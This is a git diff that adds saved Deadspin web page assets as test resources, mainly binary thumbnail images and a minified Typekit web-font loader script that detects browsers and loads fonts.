+__d("emptyFunction",["copyProperties"],function(a,b,c,d,e,f){var g=b('copyProperties');function h(j){return function(){return j;};}function i(){}g(i,{thatReturns:h,thatReturnsFalse:h(false),thatReturnsTrue:h(true),thatReturnsNull:h(null),thatReturnsThis:function(){return this;},thatReturnsArgument:function(j){return j;}});e.exports=i;});require("initXdArbiter");</script></body></html>
\ No newline at end of file
diff --git a/src/test/resources/s/deadspin_files/xlarge.jpg b/src/test/resources/s/deadspin_files/xlarge.jpg
new file mode 100644
index 0000000..c795609
Binary files /dev/null and b/src/test/resources/s/deadspin_files/xlarge.jpg differ
diff --git a/src/test/resources/s/deadspin_files/xsmall(1).jpg b/src/test/resources/s/deadspin_files/xsmall(1).jpg
new file mode 100644
index 0000000..39073d8
Binary files /dev/null and b/src/test/resources/s/deadspin_files/xsmall(1).jpg differ
diff --git a/src/test/resources/s/deadspin_files/xsmall(10).jpg b/src/test/resources/s/deadspin_files/xsmall(10).jpg
new file mode 100644
index 0000000..96c9a47
Binary files /dev/null and b/src/test/resources/s/deadspin_files/xsmall(10).jpg differ
diff --git a/src/test/resources/s/deadspin_files/xsmall(11).jpg b/src/test/resources/s/deadspin_files/xsmall(11).jpg
new file mode 100644
index 0000000..df75f6d
Binary files /dev/null and b/src/test/resources/s/deadspin_files/xsmall(11).jpg differ
diff --git a/src/test/resources/s/deadspin_files/xsmall(12).jpg b/src/test/resources/s/deadspin_files/xsmall(12).jpg
new file mode 100644
index 0000000..8118af9
Binary files /dev/null and b/src/test/resources/s/deadspin_files/xsmall(12).jpg differ
diff --git a/src/test/resources/s/deadspin_files/xsmall(13).jpg b/src/test/resources/s/deadspin_files/xsmall(13).jpg
new file mode 100644
index 0000000..ba67f22
Binary files /dev/null and b/src/test/resources/s/deadspin_files/xsmall(13).jpg differ
diff --git a/src/test/resources/s/deadspin_files/xsmall(14).jpg b/src/test/resources/s/deadspin_files/xsmall(14).jpg
new file mode 100644
index 0000000..3fb602b
Binary files /dev/null and b/src/test/resources/s/deadspin_files/xsmall(14).jpg differ
diff --git a/src/test/resources/s/deadspin_files/xsmall(15).jpg b/src/test/resources/s/deadspin_files/xsmall(15).jpg
new file mode 100644
index 0000000..5048e10
Binary files /dev/null and b/src/test/resources/s/deadspin_files/xsmall(15).jpg differ
diff --git a/src/test/resources/s/deadspin_files/xsmall(16).jpg b/src/test/resources/s/deadspin_files/xsmall(16).jpg
new file mode 100644
index 0000000..0af9414
Binary files /dev/null and b/src/test/resources/s/deadspin_files/xsmall(16).jpg differ
diff --git a/src/test/resources/s/deadspin_files/xsmall(17).jpg b/src/test/resources/s/deadspin_files/xsmall(17).jpg
new file mode 100644
index 0000000..175a990
Binary files /dev/null and b/src/test/resources/s/deadspin_files/xsmall(17).jpg differ
diff --git a/src/test/resources/s/deadspin_files/xsmall(18).jpg b/src/test/resources/s/deadspin_files/xsmall(18).jpg
new file mode 100644
index 0000000..b9b6c6d
Binary files /dev/null and b/src/test/resources/s/deadspin_files/xsmall(18).jpg differ
diff --git a/src/test/resources/s/deadspin_files/xsmall(19).jpg b/src/test/resources/s/deadspin_files/xsmall(19).jpg
new file mode 100644
index 0000000..d3e1d29
Binary files /dev/null and b/src/test/resources/s/deadspin_files/xsmall(19).jpg differ
diff --git a/src/test/resources/s/deadspin_files/xsmall(2).jpg b/src/test/resources/s/deadspin_files/xsmall(2).jpg
new file mode 100644
index 0000000..b77a813
Binary files /dev/null and b/src/test/resources/s/deadspin_files/xsmall(2).jpg differ
diff --git a/src/test/resources/s/deadspin_files/xsmall(20).jpg b/src/test/resources/s/deadspin_files/xsmall(20).jpg
new file mode 100644
index 0000000..9d8fe31
Binary files /dev/null and b/src/test/resources/s/deadspin_files/xsmall(20).jpg differ
diff --git a/src/test/resources/s/deadspin_files/xsmall(21).jpg b/src/test/resources/s/deadspin_files/xsmall(21).jpg
new file mode 100644
index 0000000..65b86d3
Binary files /dev/null and b/src/test/resources/s/deadspin_files/xsmall(21).jpg differ
diff --git a/src/test/resources/s/deadspin_files/xsmall(22).jpg b/src/test/resources/s/deadspin_files/xsmall(22).jpg
new file mode 100644
index 0000000..a4d4b65
Binary files /dev/null and b/src/test/resources/s/deadspin_files/xsmall(22).jpg differ
diff --git a/src/test/resources/s/deadspin_files/xsmall(23).jpg b/src/test/resources/s/deadspin_files/xsmall(23).jpg
new file mode 100644
index 0000000..6109c79
Binary files /dev/null and b/src/test/resources/s/deadspin_files/xsmall(23).jpg differ
diff --git a/src/test/resources/s/deadspin_files/xsmall(24).jpg b/src/test/resources/s/deadspin_files/xsmall(24).jpg
new file mode 100644
index 0000000..7eda94f
Binary files /dev/null and b/src/test/resources/s/deadspin_files/xsmall(24).jpg differ
diff --git a/src/test/resources/s/deadspin_files/xsmall(25).jpg b/src/test/resources/s/deadspin_files/xsmall(25).jpg
new file mode 100644
index 0000000..556a40a
Binary files /dev/null and b/src/test/resources/s/deadspin_files/xsmall(25).jpg differ
diff --git a/src/test/resources/s/deadspin_files/xsmall(26).jpg b/src/test/resources/s/deadspin_files/xsmall(26).jpg
new file mode 100644
index 0000000..e237619
Binary files /dev/null and b/src/test/resources/s/deadspin_files/xsmall(26).jpg differ
diff --git a/src/test/resources/s/deadspin_files/xsmall(3).jpg b/src/test/resources/s/deadspin_files/xsmall(3).jpg
new file mode 100644
index 0000000..59b5f01
Binary files /dev/null and b/src/test/resources/s/deadspin_files/xsmall(3).jpg differ
diff --git a/src/test/resources/s/deadspin_files/xsmall(4).jpg b/src/test/resources/s/deadspin_files/xsmall(4).jpg
new file mode 100644
index 0000000..e072577
Binary files /dev/null and b/src/test/resources/s/deadspin_files/xsmall(4).jpg differ
diff --git a/src/test/resources/s/deadspin_files/xsmall(5).jpg b/src/test/resources/s/deadspin_files/xsmall(5).jpg
new file mode 100644
index 0000000..4231fd1
Binary files /dev/null and b/src/test/resources/s/deadspin_files/xsmall(5).jpg differ
diff --git a/src/test/resources/s/deadspin_files/xsmall(6).jpg b/src/test/resources/s/deadspin_files/xsmall(6).jpg
new file mode 100644
index 0000000..c4f2990
Binary files /dev/null and b/src/test/resources/s/deadspin_files/xsmall(6).jpg differ
diff --git a/src/test/resources/s/deadspin_files/xsmall(7).jpg b/src/test/resources/s/deadspin_files/xsmall(7).jpg
new file mode 100644
index 0000000..29e72f5
Binary files /dev/null and b/src/test/resources/s/deadspin_files/xsmall(7).jpg differ
diff --git a/src/test/resources/s/deadspin_files/xsmall(8).jpg b/src/test/resources/s/deadspin_files/xsmall(8).jpg
new file mode 100644
index 0000000..10fc91d
Binary files /dev/null and b/src/test/resources/s/deadspin_files/xsmall(8).jpg differ
diff --git a/src/test/resources/s/deadspin_files/xsmall(9).jpg b/src/test/resources/s/deadspin_files/xsmall(9).jpg
new file mode 100644
index 0000000..a083ba1
Binary files /dev/null and b/src/test/resources/s/deadspin_files/xsmall(9).jpg differ
diff --git a/src/test/resources/s/deadspin_files/xsmall.jpg b/src/test/resources/s/deadspin_files/xsmall.jpg
new file mode 100644
index 0000000..2467cdb
Binary files /dev/null and b/src/test/resources/s/deadspin_files/xsmall.jpg differ
diff --git a/src/test/resources/s/deadspin_files/xsmall.png b/src/test/resources/s/deadspin_files/xsmall.png
new file mode 100644
index 0000000..32f356f
Binary files /dev/null and b/src/test/resources/s/deadspin_files/xsmall.png differ
diff --git a/src/test/resources/s/deadspin_files/zvc4iwz.js b/src/test/resources/s/deadspin_files/zvc4iwz.js
new file mode 100644
index 0000000..a93863b
--- /dev/null
+++ b/src/test/resources/s/deadspin_files/zvc4iwz.js
@@ -0,0 +1,75 @@
+/*{"mac":"1:31970b4c3ba2f0cc74841a38cbf9af8d6c4e5c6912b0192ac1d5bd44f57fd2e7","k":"0.13.0","version":"7904948","created":"2012-05-09T00:15:18Z"}*/
+;(function(window,document,undefined){
+var j=true,o=null,q=false;function r(a){return function(c){this[a]=c}}function s(a){return function(){return this[a]}}var t;function u(a,c){var b=arguments.length>2?Array.prototype.slice.call(arguments,2):[];return function(){b.push.apply(b,arguments);return c.apply(a,b)}}function v(a,c){this.q=a;this.j=c}t=v.prototype;
+t.createElement=function(a,c,b){a=this.q.createElement(a);if(c)for(var e in c)if(c.hasOwnProperty(e))if(e=="style"){var f=a,g=c[e];if(this.j.getName()=="MSIE")f.style.cssText=g;else f.setAttribute("style",g)}else a.setAttribute(e,c[e]);b&&a.appendChild(this.q.createTextNode(b));return a};t.insertInto=function(a,c){var b=this.q.getElementsByTagName(a)[0];if(!b)b=document.documentElement;if(b&&b.lastChild){b.insertBefore(c,b.lastChild);return j}return q};
+t.whenBodyExists=function(a){function c(){document.body?a():setTimeout(c,0)}c()};t.removeElement=function(a){if(a.parentNode){a.parentNode.removeChild(a);return j}return q};t.createCssLink=function(a){return this.createElement("link",{rel:"stylesheet",href:a})};t.appendClassName=function(a,c){for(var b=a.className.split(/\s+/),e=0,f=b.length;e<f;e++)if(b[e]==c)return;b.push(c);a.className=b.join(" ").replace(/^\s+/,"")};
+t.removeClassName=function(a,c){for(var b=a.className.split(/\s+/),e=[],f=0,g=b.length;f<g;f++)b[f]!=c&&e.push(b[f]);a.className=e.join(" ").replace(/^\s+/,"").replace(/\s+$/,"")};t.hasClassName=function(a,c){for(var b=a.className.split(/\s+/),e=0,f=b.length;e<f;e++)if(b[e]==c)return j;return q};function w(a,c,b,e,f,g,k,h){this.R=a;this.Ra=c;this.za=b;this.ya=e;this.Ka=f;this.Ja=g;this.xa=k;this.Ua=h}t=w.prototype;t.getName=s("R");t.getVersion=s("Ra");t.getEngine=s("za");t.getEngineVersi [...]
+t.getPlatform=s("Ka");t.getPlatformVersion=s("Ja");t.getDocumentMode=s("xa");function x(a,c){this.j=a;this.v=c}var aa=new w("Unknown","Unknown","Unknown","Unknown","Unknown","Unknown",undefined,q);
+x.prototype.parse=function(){var a;if(this.j.indexOf("MSIE")!=-1){a=y(this,this.j,/(MSIE [\d\w\.]+)/,1);if(a!=""){var c=a.split(" ");a=c[0];c=c[1];a=new w(a,c,a,c,z(this),A(this),B(this,this.v),C(this,c)>=6)}else a=new w("MSIE","Unknown","MSIE","Unknown",z(this),A(this),B(this,this.v),q)}else{if(this.j.indexOf("Opera")!=-1)a:{c=a="Unknown";var b=y(this,this.j,/(Presto\/[\d\w\.]+)/,1);if(b!=""){c=b.split("/");a=c[0];c=c[1]}else{if(this.j.indexOf("Gecko")!=-1)a="Gecko";b=y(this,this.j,/rv: [...]
+1);if(b!="")c=b}if(this.j.indexOf("Version/")!=-1){b=y(this,this.j,/Version\/([\d\.]+)/,1);if(b!=""){a=new w("Opera",b,a,c,z(this),A(this),B(this,this.v),C(this,b)>=10);break a}}b=y(this,this.j,/Opera[\/ ]([\d\.]+)/,1);a=b!=""?new w("Opera",b,a,c,z(this),A(this),B(this,this.v),C(this,b)>=10):new w("Opera","Unknown",a,c,z(this),A(this),B(this,this.v),q)}else{if(this.j.indexOf("AppleWebKit")!=-1){a=z(this);c=A(this);b=y(this,this.j,/AppleWebKit\/([\d\.]+)/,1);if(b=="")b="Unknown";var e="Unknown";
+if(this.j.indexOf("Chrome")!=-1||this.j.indexOf("CrMo")!=-1)e="Chrome";else if(this.j.indexOf("Safari")!=-1)e="Safari";else if(this.j.indexOf("AdobeAIR")!=-1)e="AdobeAIR";var f="Unknown";if(this.j.indexOf("Version/")!=-1)f=y(this,this.j,/Version\/([\d\.\w]+)/,1);else if(e=="Chrome")f=y(this,this.j,/(Chrome|CrMo)\/([\d\.]+)/,2);else if(e=="AdobeAIR")f=y(this,this.j,/AdobeAIR\/([\d\.]+)/,1);var g=q;if(e=="AdobeAIR"){g=y(this,f,/\d+\.(\d+)/,1);g=C(this,f)>2||C(this,f)==2&&parseInt(g,10)>=5} [...]
+b,/\d+\.(\d+)/,1);g=C(this,b)>=526||C(this,b)>=525&&parseInt(g,10)>=13}a=new w(e,f,"AppleWebKit",b,a,c,B(this,this.v),g)}else{if(this.j.indexOf("Gecko")!=-1){c=a="Unknown";e=q;if(this.j.indexOf("Firefox")!=-1){a="Firefox";b=y(this,this.j,/Firefox\/([\d\w\.]+)/,1);if(b!=""){e=y(this,b,/\d+\.(\d+)/,1);c=b;e=b!=""&&C(this,b)>=3&&parseInt(e,10)>=5}}else if(this.j.indexOf("Mozilla")!=-1)a="Mozilla";b=y(this,this.j,/rv:([^\)]+)/,1);if(b=="")b="Unknown";else if(!e){e=C(this,b);f=parseInt(y(this [...]
+1),10);g=parseInt(y(this,b,/\d+\.\d+\.(\d+)/,1),10);e=e>1||e==1&&f>9||e==1&&f==9&&g>=2||b.match(/1\.9\.1b[123]/)!=o||b.match(/1\.9\.1\.[\d\.]+/)!=o}a=new w(a,c,"Gecko",b,z(this),A(this),B(this,this.v),e)}else a=aa;a=a}a=a}a=a}return a};function z(a){var c=y(a,a.j,/(iPod|iPad|iPhone|Android)/,1);if(c!="")return c;a=y(a,a.j,/(Linux|Mac_PowerPC|Macintosh|Windows)/,1);if(a!=""){if(a=="Mac_PowerPC")a="Macintosh";return a}return"Unknown"}
+function A(a){var c=y(a,a.j,/(OS X|Windows NT|Android) ([^;)]+)/,2);if(c)return c;if(c=y(a,a.j,/(iPhone )?OS ([\d_]+)/,2))return c;if(a=y(a,a.j,/Linux ([i\d]+)/,1))return a;return"Unknown"}function C(a,c){var b=y(a,c,/(\d+)/,1);if(b!="")return parseInt(b,10);return-1}function y(a,c,b,e){if((a=c.match(b))&&a[e])return a[e];return""}function B(a,c){if(c.documentMode)return c.documentMode}function ba(a,c,b,e){this.c=a;this.l=c;this.U=b;this.o=e||"wf";this.m=new D("-")}
+function E(a){a.c.removeClassName(a.l,a.m.k(a.o,"loading"));a.c.hasClassName(a.l,a.m.k(a.o,"active"))||a.c.appendClassName(a.l,a.m.k(a.o,"inactive"));G(a,"inactive")}function G(a,c,b,e){a.U[c]&&a.U[c](b,e)}function H(a,c,b,e,f){this.c=a;this.B=c;this.D=b;this.t=e;this.J=f;this.X=0;this.ta=this.ga=q}
+H.prototype.watch=function(a,c,b,e,f){for(var g=a.length,k=0;k<g;k++){var h=a[k];c[h]||(c[h]=["n4"]);this.X+=c[h].length}if(f)this.ga=f;for(k=0;k<g;k++){h=a[k];f=c[h];for(var d=b[h],m=0,n=f.length;m<n;m++){var p=f[m],i=this.B,l=h,F=p;i.c.appendClassName(i.l,i.m.k(i.o,l,F,"loading"));G(i,"fontloading",l,F);i=u(this,this.Aa);l=u(this,this.Ba);(new e(i,l,this.c,this.D,this.t,this.J,h,p,d)).start()}}};
+H.prototype.Aa=function(a,c){var b=this.B;b.c.removeClassName(b.l,b.m.k(b.o,a,c,"loading"));b.c.removeClassName(b.l,b.m.k(b.o,a,c,"inactive"));b.c.appendClassName(b.l,b.m.k(b.o,a,c,"active"));G(b,"fontactive",a,c);this.ta=j;I(this)};H.prototype.Ba=function(a,c){var b=this.B;b.c.removeClassName(b.l,b.m.k(b.o,a,c,"loading"));b.c.hasClassName(b.l,b.m.k(b.o,a,c,"active"))||b.c.appendClassName(b.l,b.m.k(b.o,a,c,"inactive"));G(b,"fontinactive",a,c);I(this)};
+function I(a){if(--a.X==0&&a.ga)if(a.ta){a=a.B;a.c.removeClassName(a.l,a.m.k(a.o,"loading"));a.c.removeClassName(a.l,a.m.k(a.o,"inactive"));a.c.appendClassName(a.l,a.m.k(a.o,"active"));G(a,"active")}else E(a.B)}
+function J(a,c,b,e,f,g,k,h,d){this.va=a;this.Ea=c;this.c=b;this.D=e;this.t=f;this.J=g;this.Ia=new K;this.Da=new ca;this.aa=k;this.$=h;this.Ca=d||"BESbswy";this.ia=da(this,"arial,'URW Gothic L',sans-serif");this.ja=da(this,"Georgia,'Century Schoolbook L',serif");this.ea=this.ia;this.fa=this.ja;this.oa=L(this,"arial,'URW Gothic L',sans-serif");this.pa=L(this,"Georgia,'Century Schoolbook L',serif")}J.prototype.start=function(){this.Oa=this.J();this.V()};
+J.prototype.V=function(){var a=this.D.O(this.oa),c=this.D.O(this.pa);if((this.ia!=a||this.ja!=c)&&this.ea==a&&this.fa==c)ea(this,this.va);else if(this.J()-this.Oa>=5E3)ea(this,this.Ea);else{this.ea=a;this.fa=c;fa(this)}};function fa(a){a.t(function(c,b){return function(){b.call(c)}}(a,a.V),25)}function ea(a,c){a.c.removeElement(a.oa);a.c.removeElement(a.pa);c(a.aa,a.$)}function da(a,c){var b=L(a,c,j),e=a.D.O(b);a.c.removeElement(b);return e}
+function L(a,c,b){c=a.c.createElement("span",{style:ga(a,c,a.$,b)},a.Ca);a.c.insertInto("body",c);return c}function ga(a,c,b,e){b=a.Da.expand(b);return"position:absolute;top:-999px;left:-999px;font-size:300px;width:auto;height:auto;line-height:normal;margin:0;padding:0;font-variant:normal;font-family:"+(e?"":a.Ia.quote(a.aa)+",")+c+";"+b}function D(a){this.Ga=a||"-"}D.prototype.k=function(){for(var a=[],c=0;c<arguments.length;c++)a.push(arguments[c].replace(/[\W_]+/g,"").toLowerCase());r [...]
+function K(){this.na="'"}K.prototype.quote=function(a){var c=[];a=a.split(/,\s*/);for(var b=0;b<a.length;b++){var e=a[b].replace(/['"]/g,"");e.indexOf(" ")==-1?c.push(e):c.push(this.na+e+this.na)}return c.join(",")};function ca(){this.la=ha;this.F=ia}var ha=["font-style","font-weight"],ia={"font-style":[["n","normal"],["i","italic"],["o","oblique"]],"font-weight":[["1","100"],["2","200"],["3","300"],["4","400"],["5","500"],["6","600"],["7","700"],["8","800"],["9","900"],["4","normal"],[" [...]
+function ja(a,c,b){this.Fa=a;this.La=c;this.F=b}ja.prototype.expand=function(a,c){for(var b=0;b<this.F.length;b++)if(c==this.F[b][0]){a[this.Fa]=this.La+":"+this.F[b][1];break}};ca.prototype.expand=function(a){if(a.length!=2)return o;for(var c=[o,o],b=0,e=this.la.length;b<e;b++){var f=this.la[b];(new ja(b,f,this.F[f])).expand(c,a.substr(b,1))}return c[0]&&c[1]?c.join(";")+";":o};function M(a,c){this.q=a;this.j=c}M.prototype=v.prototype;
+M.prototype.isHttps=function(){return this.q.location.protocol=="https:"};M.prototype.getHostName=function(){return this.q.location.hostname};M.prototype.loadScript=function(a,c){var b=this.q.getElementsByTagName("head")[0];if(b){var e=this.q.createElement("script");e.src=a;var f=q;e.onload=e.onreadystatechange=function(){if(!f&&(!this.readyState||this.readyState=="loaded"||this.readyState=="complete")){f=j;c&&c();e.onload=e.onreadystatechange=o;e.parentNode.tagName=="HEAD"&&b.removeChil [...]
+M.prototype.createStyle=function(a){var c=this.q.createElement("style");c.setAttribute("type","text/css");if(c.styleSheet)c.styleSheet.cssText=a;else c.appendChild(document.createTextNode(a));return c};function ka(a){for(var c=a.Ma.join(","),b=[],e=0;e<a.Y.length;e++){var f=a.Y[e];b.push(f.name+":"+f.value+";")}return c+"{"+b.join("")+"}"}function N(a,c,b,e){this.C=a;this.I=c;this.w=b;this.Ta=e;this.ba={};this.Z={}}
+N.prototype.z=function(a){return a?(this.ba[a.getStylesheetFormatId()]||this.I).slice(0):this.I.slice(0)};N.prototype.getId=s("w");function la(a,c,b){for(var e=[],f=a.C.split(",")[0].replace(/"|'/g,""),g=a.z(),k,h=[],d={},m=0;m<g.length;m++){k=g[m];if(k.length>0&&!d[k]){d[k]=j;h.push(k)}}b=b.ma?b.ma(f,h,e):h;c=c.getStylesheetFormatId();a.ba[c]=b;a.Z[c]=e}N.prototype.watch=function(a,c,b){var e=[],f={};ma(this,c,e,f);a(e,f,b)};
+function ma(a,c,b,e){b.push(a.C);e[a.C]=a.z(c);a=a.Z[c.getStylesheetFormatId()]||[];for(c=0;c<a.length;c++){for(var f=a[c],g=f.C,k=q,h=0;h<b.length;h++)if(b[h]==g)k=j;if(!k){b.push(g);e[g]=f.z()}}}function na(a,c){this.C=a;this.I=c}na.prototype.z=s("I");function O(a,c,b){this.Na=a;this.P=c;this.qa=b}O.prototype.buildUrl=function(a,c){var b=this.Na&&a?"https:":"http:",e=typeof this.P=="function"?this.P(b):this.P;return b+"//"+e+(this.qa=="/"?"":this.qa)+c};
+function oa(a,c){var b=new Image(1,1);b.src=c;b.onload=function(){b.onload=o}}function P(a,c,b){this.w=a;this.sa=c;this.da=b}P.prototype.getId=s("w");P.prototype.getStylesheetFormatId=s("sa");P.prototype.isUserAgent=function(a){return this.da?this.da(a.getName(),a.getVersion(),a.getEngine(),a.getEngineVersion(),a.getPlatform(),a.getPlatformVersion(),a.getDocumentMode()):q};P.prototype.buildCssUrl=function(a,c,b,e){b="/"+b+"-"+this.sa+".css";if(e)b+="?"+e;return c.buildUrl(a,b)};
+function Q(){this.u=[]}Q.prototype.addBrowser=function(a){this.getBrowserById(a.getId())||this.u.push(a)};Q.prototype.getBrowserById=function(a){for(var c=0;c<this.u.length;c++){var b=this.u[c];if(a===b.getId())return b}return o};Q.prototype.findBrowser=function(a){for(var c=0;c<this.u.length;c++){var b=this.u[c];if(b.isUserAgent(a))return b}return o};Q.prototype.addBrowsersToBrowserSet=function(a){for(var c=0;c<this.u.length;c++)a.addBrowser(this.u[c])};
+function pa(a){this.w=a;this.L=new Q;this.n=[];this.M=[];this.N=this.W=this.A=o}t=pa.prototype;t.getId=s("w");t.setSecurityToken=r("ra");t.setNestedUrl=r("ha");t.setFontFilterSet=r("N");t.setKitOptions=r("Q");t.addBrowser=function(a){this.L.addBrowser(a)};t.addFontFamily=function(a){this.n.push(a)};t.addCssRule=function(a){this.M.push(a)};t.supportsBrowser=function(a){return!!this.L.getBrowserById(a.getId())};t.addBrowsersToBrowserSet=function(a){this.L.addBrowsersToBrowserSet(a)};
+t.init=function(a){for(var c=[],b=0;b<this.M.length;b++)c.push(ka(this.M[b]));a.insertInto("head",a.createStyle(c.join("")))};
+t.load=function(a,c,b,e){if(this.N)for(var f=qa(this.N,b.getStylesheetFormatId()),g=0;g<this.n.length;g++)la(this.n[g],b,f);if(this.A&&this.W){this.A.wa(new ra(b.getStylesheetFormatId()));g=new sa(a,this.G,this.n);f=ta(this.W,b.getStylesheetFormatId(),g);for(g=0;g<f.length;g++)this.A.wa(f[g]);this.A.Sa(this.ra);g=this.A.buildUrl(a.isHttps(),this.ha)}else g=b.buildCssUrl(a.isHttps(),this.ha,this.w,this.ra);a.insertInto("head",a.createCssLink(g));c&&a.whenBodyExists(function(k,h,d,m){retur [...]
+0;n<k.n.length;n++)k.n[n].watch(h,d,m&&n==k.n.length-1)}}(this,c,b,e))};t.collectFontFamilies=function(a,c,b){for(var e=0;e<this.n.length;e++)ma(this.n[e],a,c,b)};
+t.performOptionalActions=function(a,c,b){this.Q&&b.whenBodyExists(function(e,f,g,k){return function(){var h=e.Q;if(h.ka){var d;d=k.getHostName();var m=window.__adobewebfontsappname__;m=m?m.toString().substr(0,20):"";var n=(+new Date).toString();d={host:d,app:m,_:n};oa(h,h.ka.k(k.isHttps(),d))}d=e.Q;h=e.w;if(d.T){d=d.T.k(h,g,k);d.setAttribute("id","typekit-badge-"+h);k.insertInto("body",d)}}}(this,a,c,b))};function R(a,c,b,e,f){this.Ha=a;this.c=c;this.j=b;this.l=e;this.t=f;this.p=[]}
+R.prototype.K=function(a){this.p.push(a)};R.prototype.load=function(a,c){var b=a,e=c||{};if(typeof b=="string")b=[b];else if(b&&b.length)b=b;else{e=b||{};b=[]}if(b.length)for(var f=this,g=b.length,k=0;k<b.length;k++)this.ua(b[k],function(){--g==0&&f.S(e)});else this.S(e)};R.prototype.ua=function(a,c){this.c.loadScript(this.Ha.buildUrl(this.c.isHttps(),"/"+a+".js"),c)};
+R.prototype.S=function(a){if(a.userAgent)this.j=(new x(a.userAgent,document)).parse();a=new ba(this.c,this.l,a);for(var c=new Q,b=0;b<this.p.length;b++)this.p[b].addBrowsersToBrowserSet(c);c=c.findBrowser(this.j);for(b=0;b<this.p.length;b++)this.p[b].init(this.c);if(c){a.c.appendClassName(a.l,a.m.k(a.o,"loading"));G(a,"loading");ua(this,c,a)}else E(a);this.p=[]};
+function ua(a,c,b){function e(k,h,d){f.watch(k,h,{},J,d)}var f=new H(a.c,b,{O:function(k){return k.offsetWidth}},a.t,function(){return+new Date});for(b=0;b<a.p.length;b++){var g=a.p[b];if(g.supportsBrowser(c)){g.load(a.c,e,c,b==a.p.length-1);g.performOptionalActions(window,a.j,a.c)}}}function S(a,c,b){this.ca=a;this.c=c;this.t=b;this.p=[]}S.prototype.K=function(a){this.p.push(a)};
+S.prototype.load=function(){var a=this.ca.__webfonttypekitmodule__;if(a)for(var c=0;c<this.p.length;c++){var b=this.p[c],e=a[b.getId()];if(e){var f=this.c,g=this.t;e(function(k,h,d){var m=new Q;b.addBrowsersToBrowserSet(m);h=[];var n={};if(m=m.findBrowser(k)){b.init(f);b.load(f,o,m,g);b.collectFontFamilies(m,h,n);b.performOptionalActions(window,k,f,g)}d(!!m,h,n)})}}};function T(a,c){this.R=a;this.ma=c}T.prototype.getName=s("R");
+function U(a,c){for(var b=0;b<a.H.length;b++){var e=a.H[b];if(c===e.getName())return e}return o}function qa(a,c){var b=a.r[c];return b?U(a,b):o}function ta(a,c,b){var e=[];a=a.s[c]||[];for(c=0;c<a.length;c++){var f;a:switch(a[c]){case "observeddomain":f=new va(b.c);break a;case "fontmask":f=new wa(b.G,b.n);break a;default:f=o}f&&e.push(f)}return e}function sa(a,c,b){this.c=a;this.G=c;this.n=b}function ra(a){this.Pa=a}ra.prototype.toString=s("Pa");function va(a){this.c=a}
+va.prototype.toString=function(){var a;a=this.c.getHostName?this.c.getHostName():document.location.hostname;return encodeURIComponent(a)};function wa(a,c){this.G=a;this.n=c}wa.prototype.toString=function(){for(var a=[],c=0;c<this.n.length;c++){var b=this.n[c],e=b.z();b=b.z(this.G);for(var f=0;f<e.length;f++){var g;a:{for(g=0;g<b.length;g++)if(e[f]===b[g]){g=j;break a}g=q}a.push(g?1:0)}}a=a.join("");a=a.replace(/^0+/,"");c=[];for(e=a.length;e>0;e-=4){b=a.slice(e-4<0?0:e-4,e);c.unshift(par [...]
+function xa(a){this.Qa=a}xa.prototype.k=function(a,c){var b=a?"https:":"http:",e=c||{},f=this.Qa.replace(/\{([^}]*)\}/g,function(g,k){return encodeURIComponent(e[k])||""});return b+f};var V=new Q;
+V.addBrowser(new P("opera10-osx","b",function(a,c,b,e,f,g,k){var h=q;h=h||function(d,m,n,p,i,l){d=/^([0-9]+)(_|.)([0-9]+)/.exec(l);if(i=="Macintosh"&&d){i=parseInt(d[1],10);l=parseInt(d[3],10);return i>10||i==10&&l>=4}else return i=="Macintosh"&&l=="Unknown"?j:q}(a,c,b,e,f,g,k);if(!h)return q;return function(d,m){if(d=="Opera"){var n=parseFloat(m);return n>=10.54&&n<11.1}return q}(a,c,b,e,f,g,k)}));
+V.addBrowser(new P("ff35-linux-win2003-win7plus-winvista-winxp","a",function(a,c,b,e,f,g,k){var h=q;h=(h=(h=(h=(h=h||(f=="Windows"&&g=="5.1"?j:q))||(f=="Windows"&&g=="5.2"?j:q))||(f=="Windows"&&g=="6.0"?j:q))||function(d,m,n,p,i,l){d=/^([0-9]+).([0-9]+)/.exec(l);if(i=="Windows"&&d){i=parseInt(d[1],10);d=parseInt(d[2],10);return i>6||i==6&&d>=1}else return q}(a,c,b,e,f,g,k))||(f=="Ubuntu"||f=="Linux"?j:q);if(!h)return q;return function(d,m,n,p){if(n=="Gecko"){d=/1.9.1b[1-3]{1}/;return/1.9 [...]
+!d.test(p)}return q}(a,c,b,e,f,g,k)}));
+V.addBrowser(new P("chrome6plus-android3plus-linux-osx-win2003-win7plus-winvista-winxp","d",function(a,c,b,e,f,g,k){var h=q;h=(h=(h=(h=(h=(h=(h=h||(f=="Windows"&&g=="5.1"?j:q))||(f=="Windows"&&g=="5.2"?j:q))||(f=="Windows"&&g=="6.0"?j:q))||function(d,m,n,p,i,l){d=/^([0-9]+).([0-9]+)/.exec(l);if(i=="Windows"&&d){i=parseInt(d[1],10);d=parseInt(d[2],10);return i>6||i==6&&d>=1}else return q}(a,c,b,e,f,g,k))||function(d,m,n,p,i,l){d=/^([0-9]+)(_|.)([0-9]+)/.exec(l);if(i=="Macintosh"&&d){i=par [...]
+10);l=parseInt(d[3],10);return i>10||i==10&&l>=4}else return i=="Macintosh"&&l=="Unknown"?j:q}(a,c,b,e,f,g,k))||(f=="Ubuntu"||f=="Linux"?j:q))||function(d,m,n,p,i,l){d=/([0-9]+).([0-9]+)/.exec(l);if(i=="Android"&&d){i=parseInt(d[1],10);d=parseInt(d[2],10);return i==3&&d>=1||i>3}else return q}(a,c,b,e,f,g,k);if(!h)return q;return function(d,m){if(d=="Chrome"){var n=/([0-9]+.[0-9]+).([0-9]+).([0-9]+)/.exec(m);if(n)if(parseFloat(n[1])>=6)return j}}(a,c,b,e,f,g,k)}));
+V.addBrowser(new P("ie9plus-win7plus-winvista","d",function(a,c,b,e,f,g,k){var h=q;h=(h=h||function(m,n,p,i,l,F){m=/^([0-9]+).([0-9]+)/.exec(F);if(l=="Windows"&&m){l=parseInt(m[1],10);m=parseInt(m[2],10);return l>6||l==6&&m>=1}else return q}(a,c,b,e,f,g,k))||(f=="Windows"&&g=="6.0"?j:q);if(!h)return q;var d;if(a=="MSIE")d=k>=9;return d}));
